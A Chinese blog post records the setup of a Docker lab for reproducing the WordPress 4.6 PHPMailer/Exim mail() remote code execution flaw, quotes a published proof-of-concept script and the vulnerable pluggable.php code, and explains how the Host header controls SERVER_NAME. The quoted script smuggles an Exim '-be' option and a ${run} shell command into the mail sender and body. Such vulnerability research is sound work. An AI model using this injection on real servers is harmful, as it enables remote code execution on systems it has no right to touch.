这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。
究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。
docker pull wordpress:4.6-php5.6-apache
docker pull daocloud.io/library/mysql:5.7
docker run –name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7
#启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置
docker run –name wordpress –link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache
以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.
apt-get install exim4
安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:
不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski – @dawid_golunski – https://legalhackers.com
$sender = "nxadmin@anyhost -be";
$body = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}';
// ^ unfiltered vars, coming from attacker via GET, POST etc.
$to = "john@localhost";
$subject = "Exim RCE PoC";
$headers = "From: s1ma@localhost";
mail($to,$subject,$body,$headers, "-f $sender ");
?>
会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:
本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!
根据看老外写的文章,翻译理解了下漏洞的产生原因。Wordpress 4.6密码找回功能使用了phpmailer的setFrom()函数,这个东西近期爆出过漏洞,老外写的paper:
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
wordpress 4.6受影响的文件wp-includes/pluggable.php代码片段如下:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
/**
* Filters the name to associate with the "from" email address.
*
* @since 2.3.0
*
* @param string $from_name Name associated with the "from" email address.
*/
$from_name = apply_filters( 'wp_mail_from_name', $from_name );
$phpmailer->setFrom( $from_email, $from_name );
上面代码中sitename是由 php预定义变量$_SERVER参数获取的,具体的SERVER_NAME是指当前运行脚本所在服务器的主机名称。发现其实SERVER_NAME是攻击者可以控制的,以下面的代码为例:
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
echo $sitename
?>
上面代码是获取SERVER_NAME,保存成php,用curl访问,如图所示:
发现可以通过http头部的HOST来控制$sitename参数的值,从而最终将恶意代码传递给wordpress 的setFrom()函数,最终导致漏洞的产生。
————————–5月5号更新————————————–
P牛已经做出了测试环境用的docker,并且写好了利用的exp,用我搭建的环境亲测可以成功,如图:
p牛写的利用脚本经过了实践的检验,6666,膜拜p牛!附上p牛制作的docker漏洞环境url:
https://github.com/phith0n/vulhub/tree/master/wordpress/phpmailer-rce
最后编辑:2017-05-05作者:admin
这个作者貌似有点懒,什么都没有留下。
原文链接:https://blog.csdn.net/weixin_39942033/article/details/116177941?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168994674616800227425886%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=168994674616800227425886&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-11-116177941-null-null.268%5Ev1%5Ekoosearch&utm_term=docker%E3%80%81wordpress%E3%80%81wordpress%E5%BB%BA%E7%AB%99%E3%80%81wordpress%E4%B8%BB%E9%A2%98%E3%80%81%E5%AE%B9%E5%99%A8%E9%95%9C%E5%83%8F%E3%80%81